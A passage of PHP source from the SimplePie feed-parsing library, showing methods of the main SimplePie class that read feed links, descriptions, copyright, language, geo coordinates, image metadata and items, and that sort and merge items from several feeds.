}
/**
* Get all links for the feed
*
* Uses `<atom:link>` or `<link>`
*
* @since Beta 2
* @param string $rel The relationship of links to return
* @return array|null Links found for the feed (strings)
*/
public function get_links($rel = 'alternate')
{
if (!isset($this->data['links']))
{
$this->data['links'] = array();
if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link'))
{
foreach ($links as $link)
{
if (isset($link['attribs']['']['href']))
{
$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
}
}
}
if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link'))
{
foreach ($links as $link)
{
if (isset($link['attribs']['']['href']))
{
$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
}
}
}
if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link'))
{
$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
}
if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link'))
{
$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
}
if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'link'))
{
$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
}
$keys = array_keys($this->data['links']);
foreach ($keys as $key)
{
if ($this->registry->call('Misc', 'is_isegment_nz_nc', array($key)))
{
if (isset($this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]))
{
$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]);
$this->data['links'][$key] =& $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key];
}
else
{
$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] =& $this->data['links'][$key];
}
}
elseif (substr($key, 0, 41) === SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY)
{
$this->data['links'][substr($key, 41)] =& $this->data['links'][$key];
}
$this->data['links'][$key] = array_unique($this->data['links'][$key]);
}
}
if (isset($this->data['headers']['link']))
{
$link_headers = $this->data['headers']['link'];
if (is_string($link_headers)) {
$link_headers = array($link_headers);
}
$matches = preg_filter('/<([^>]+)>; rel='.preg_quote($rel).'/', '$1', $link_headers);
if (!empty($matches)) {
return $matches;
}
}
if (isset($this->data['links'][$rel]))
{
return $this->data['links'][$rel];
}
return null;
}
public function get_all_discovered_feeds()
{
return $this->all_discovered_feeds;
}
/**
* Get the content for the item
*
* Uses `<atom:subtitle>`, `<atom:tagline>`, `<description>`,
* `<dc:description>`, `<itunes:summary>` or `<itunes:subtitle>`
*
* @since 1.0 (previously called `get_feed_description()` since 0.8)
* @return string|null
*/
public function get_description()
{
if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'subtitle'))
{
return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
}
elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'tagline'))
{
return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
}
elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'description'))
{
return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
}
elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'description'))
{
return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
}
elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'description'))
{
return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
}
elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'description'))
{
return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
}
elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'description'))
{
return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
}
elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'summary'))
{
return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
}
elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'subtitle'))
{
return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
}
return null;
}
/**
* Get the copyright info for the feed
*
* Uses `<atom:rights>`, `<atom:copyright>` or `<dc:rights>`
*
* @since 1.0 (previously called `get_feed_copyright()` since 0.8)
* @return string|null
*/
public function get_copyright()
{
if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'rights'))
{
return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
}
elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'copyright'))
{
return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
}
elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'copyright'))
{
return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
}
elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'rights'))
{
return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
}
elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'rights'))
{
return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
}
return null;
}
/**
* Get the language for the feed
*
* Uses `<language>`, `<dc:language>`, or @xml_lang
*
* @since 1.0 (previously called `get_feed_language()` since 0.8)
* @return string|null
*/
public function get_language()
{
if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'language'))
{
return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
}
elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'language'))
{
return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
}
elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'language'))
{
return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
}
elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]['xml_lang']))
{
return $this->sanitize($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT);
}
elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]['xml_lang']))
{
return $this->sanitize($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT);
}
elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['xml_lang']))
{
return $this->sanitize($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT);
}
elseif (isset($this->data['headers']['content-language']))
{
return $this->sanitize($this->data['headers']['content-language'], SIMPLEPIE_CONSTRUCT_TEXT);
}
return null;
}
/**
* Get the latitude coordinates for the item
*
* Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
*
* Uses `<geo:lat>` or `<georss:point>`
*
* @since 1.0
* @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
* @link http://www.georss.org/ GeoRSS
* @return string|null
*/
public function get_latitude()
{
if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lat'))
{
return (float) $return[0]['data'];
}
elseif (($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match))
{
return (float) $match[1];
}
return null;
}
/**
* Get the longitude coordinates for the feed
*
* Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
*
* Uses `<geo:long>`, `<geo:lon>` or `<georss:point>`
*
* @since 1.0
* @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
* @link http://www.georss.org/ GeoRSS
* @return string|null
*/
public function get_longitude()
{
if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'long'))
{
return (float) $return[0]['data'];
}
elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lon'))
{
return (float) $return[0]['data'];
}
elseif (($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match))
{
return (float) $match[2];
}
return null;
}
/**
* Get the feed logo's title
*
* RSS 0.9.0, 1.0 and 2.0 feeds are allowed to have a "feed logo" title.
*
* Uses `<image><title>` or `<image><dc:title>`
*
* @return string|null
*/
public function get_image_title()
{
if ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title'))
{
return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
}
elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title'))
{
return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
}
elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'title'))
{
return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
}
elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title'))
{
return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
}
elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title'))
{
return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
}
return null;
}
/**
* Get the feed logo's URL
*
* RSS 0.9.0, 2.0, Atom 1.0, and feeds with iTunes RSS tags are allowed to
* have a "feed logo" URL. This points directly to the image itself.
*
* Uses `<itunes:image>`, `<atom:logo>`, `<atom:icon>`,
* `<image><title>` or `<image><dc:title>`
*
* @return string|null
*/
public function get_image_url()
{
if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'image'))
{
return $this->sanitize($return[0]['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI);
}
elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'logo'))
{
return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
}
elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'icon'))
{
return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
}
elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'url'))
{
return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
}
elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'url'))
{
return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
}
elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'url'))
{
return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
}
return null;
}
/**
* Get the feed logo's link
*
* RSS 0.9.0, 1.0 and 2.0 feeds are allowed to have a "feed logo" link. This
* points to a human-readable page that the image should link to.
*
* Uses `<itunes:image>`, `<atom:logo>`, `<atom:icon>`,
* `<image><title>` or `<image><dc:title>`
*
* @return string|null
*/
public function get_image_link()
{
if ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link'))
{
return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
}
elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link'))
{
return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
}
elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'link'))
{
return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
}
return null;
}
/**
* Get the feed logo's link
*
* RSS 2.0 feeds are allowed to have a "feed logo" width.
*
* Uses `<image><width>` or defaults to 88.0 if no width is specified and
* the feed is an RSS 2.0 feed.
*
* @return int|float|null
*/
public function get_image_width()
{
if ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'width'))
{
return round($return[0]['data']);
}
elseif ($this->get_type() & SIMPLEPIE_TYPE_RSS_SYNDICATION && $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'url'))
{
return 88.0;
}
return null;
}
/**
* Get the feed logo's height
*
* RSS 2.0 feeds are allowed to have a "feed logo" height.
*
* Uses `<image><height>` or defaults to 31.0 if no height is specified and
* the feed is an RSS 2.0 feed.
*
* @return int|float|null
*/
public function get_image_height()
{
if ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'height'))
{
return round($return[0]['data']);
}
elseif ($this->get_type() & SIMPLEPIE_TYPE_RSS_SYNDICATION && $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'url'))
{
return 31.0;
}
return null;
}
/**
* Get the number of items in the feed
*
* This is well-suited for {@link http://php.net/for for()} loops with
* {@see get_item()}
*
* @param int $max Maximum value to return. 0 for no limit
* @return int Number of items in the feed
*/
public function get_item_quantity($max = 0)
{
$max = (int) $max;
$qty = count($this->get_items());
if ($max === 0)
{
return $qty;
}
return ($qty > $max) ? $max : $qty;
}
/**
* Get a single item from the feed
*
* This is better suited for {@link http://php.net/for for()} loops, whereas
* {@see get_items()} is better suited for
* {@link http://php.net/foreach foreach()} loops.
*
* @see get_item_quantity()
* @since Beta 2
* @param int $key The item that you want to return. Remember that arrays begin with 0, not 1
* @return SimplePie_Item|null
*/
public function get_item($key = 0)
{
$items = $this->get_items();
if (isset($items[$key]))
{
return $items[$key];
}
return null;
}
/**
* Get all items from the feed
*
* This is better suited for {@link http://php.net/for for()} loops, whereas
* {@see get_items()} is better suited for
* {@link http://php.net/foreach foreach()} loops.
*
* @see get_item_quantity
* @since Beta 2
* @param int $start Index to start at
* @param int $end Number of items to return. 0 for all items after `$start`
* @return SimplePie_Item[]|null List of {@see SimplePie_Item} objects
*/
public function get_items($start = 0, $end = 0)
{
if (!isset($this->data['items']))
{
if (!empty($this->multifeed_objects))
{
$this->data['items'] = SimplePie::merge_items($this->multifeed_objects, $start, $end, $this->item_limit);
if (empty($this->data['items']))
{
return array();
}
return $this->data['items'];
}
$this->data['items'] = array();
if ($items = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'entry'))
{
$keys = array_keys($items);
foreach ($keys as $key)
{
$this->data['items'][] = $this->registry->create('Item', array($this, $items[$key]));
}
}
if ($items = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'entry'))
{
$keys = array_keys($items);
foreach ($keys as $key)
{
$this->data['items'][] = $this->registry->create('Item', array($this, $items[$key]));
}
}
if ($items = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'item'))
{
$keys = array_keys($items);
foreach ($keys as $key)
{
$this->data['items'][] = $this->registry->create('Item', array($this, $items[$key]));
}
}
if ($items = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'item'))
{
$keys = array_keys($items);
foreach ($keys as $key)
{
$this->data['items'][] = $this->registry->create('Item', array($this, $items[$key]));
}
}
if ($items = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'item'))
{
$keys = array_keys($items);
foreach ($keys as $key)
{
$this->data['items'][] = $this->registry->create('Item', array($this, $items[$key]));
}
}
}
if (empty($this->data['items']))
{
return array();
}
if ($this->order_by_date)
{
if (!isset($this->data['ordered_items']))
{
$this->data['ordered_items'] = $this->data['items'];
usort($this->data['ordered_items'], array(get_class($this), 'sort_items'));
}
$items = $this->data['ordered_items'];
}
else
{
$items = $this->data['items'];
}
// Slice the data as desired
if ($end === 0)
{
return array_slice($items, $start);
}
return array_slice($items, $start, $end);
}
/**
* Set the favicon handler
*
* @deprecated Use your own favicon handling instead
*/
public function set_favicon_handler($page = false, $qs = 'i')
{
$level = defined('E_USER_DEPRECATED') ? E_USER_DEPRECATED : E_USER_WARNING;
trigger_error('Favicon handling has been removed, please use your own handling', $level);
return false;
}
/**
* Get the favicon for the current feed
*
* @deprecated Use your own favicon handling instead
*/
public function get_favicon()
{
$level = defined('E_USER_DEPRECATED') ? E_USER_DEPRECATED : E_USER_WARNING;
trigger_error('Favicon handling has been removed, please use your own handling', $level);
if (($url = $this->get_link()) !== null)
{
return 'https://www.google.com/s2/favicons?domain=' . urlencode($url);
}
return false;
}
/**
* Magic method handler
*
* @param string $method Method name
* @param array $args Arguments to the method
* @return mixed
*/
public function __call($method, $args)
{
if (strpos($method, 'subscribe_') === 0)
{
$level = defined('E_USER_DEPRECATED') ? E_USER_DEPRECATED : E_USER_WARNING;
trigger_error('subscribe_*() has been deprecated, implement the callback yourself', $level);
return '';
}
if ($method === 'enable_xml_dump')
{
$level = defined('E_USER_DEPRECATED') ? E_USER_DEPRECATED : E_USER_WARNING;
trigger_error('enable_xml_dump() has been deprecated, use get_raw_data() instead', $level);
return false;
}
$class = get_class($this);
$trace = debug_backtrace(); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection
$file = $trace[0]['file'];
$line = $trace[0]['line'];
trigger_error("Call to undefined method $class::$method() in $file on line $line", E_USER_ERROR);
}
/**
* Sorting callback for items
*
* @access private
* @param SimplePie $a
* @param SimplePie $b
* @return boolean
*/
public static function sort_items($a, $b)
{
$a_date = $a->get_date('U');
$b_date = $b->get_date('U');
if ($a_date && $b_date) {
return $a_date > $b_date ? -1 : 1;
}
// Sort items without dates to the top.
if ($a_date) {
return 1;
}
if ($b_date) {
return -1;
}
return 0;
}
/**
* Merge items from several feeds into one
*
* If you're merging multiple feeds together, they need to all have dates
* for the items or else SimplePie will refuse to sort them.
*
* @link http://simplepie.org/wiki/tutorial/sort_multiple_feeds_by_time_and_date#if_feeds_require_separate_per-feed_settings
* @param array $urls List of SimplePie feed objects to merge
* @param int $start Starting item
* @param int $end Number of items to return
* @param int $limit Maximum number of items per feed
* @return array
*/
public static function merge_items($urls, $start = 0, $end = 0, $limit = 0)
{
if (is_array($urls) && sizeof($urls) > 0)
{
$items = array();
foreach ($urls as $arg)
{
if ($arg instanceof SimplePie)
{
$items = array_merge($items, $arg->get_items(0, $limit));
}
else
{
trigger_error('Arguments must be SimplePie objects', E_USER_WARNING);
}
}
usort($items, array(get_class($urls[0]), 'sort_items'));
if ($end === 0)
{
return array_slice($items, $start);
}
return array_slice($items, $start, $end);
}
trigger_error('Cannot merge zero SimplePie objects', E_USER_WARNING);
return array();
}
/**
* Store PubSubHubbub links as headers
*
* There is no way to find PuSH links in the body of a microformats feed,
* so they are added to the headers when found, to be used later by get_links.
* @param SimplePie_File $file
* @param string $hub
* @param string $self
*/
private function store_links(&$file, $hub, $self) {
if (isset($file->headers['link']['hub']) ||
(isset($file->headers['link']) &&
preg_match('/rel=hub/', $file->headers['link'])))
{
return;
}
if ($hub)
{
if (isset($file->headers['link']))
{
if ($file->headers['link'] !== '')
{
$file->headers['link'] = ', ';
}
}
else
{
$file->headers['link'] = '';
}
$file->headers['link'] .= '<'.$hub.'>; rel=hub';
if ($self)
{
$file->headers['link'] .= ', <'.$self.'>; rel=self';
}
}
}
}
endif;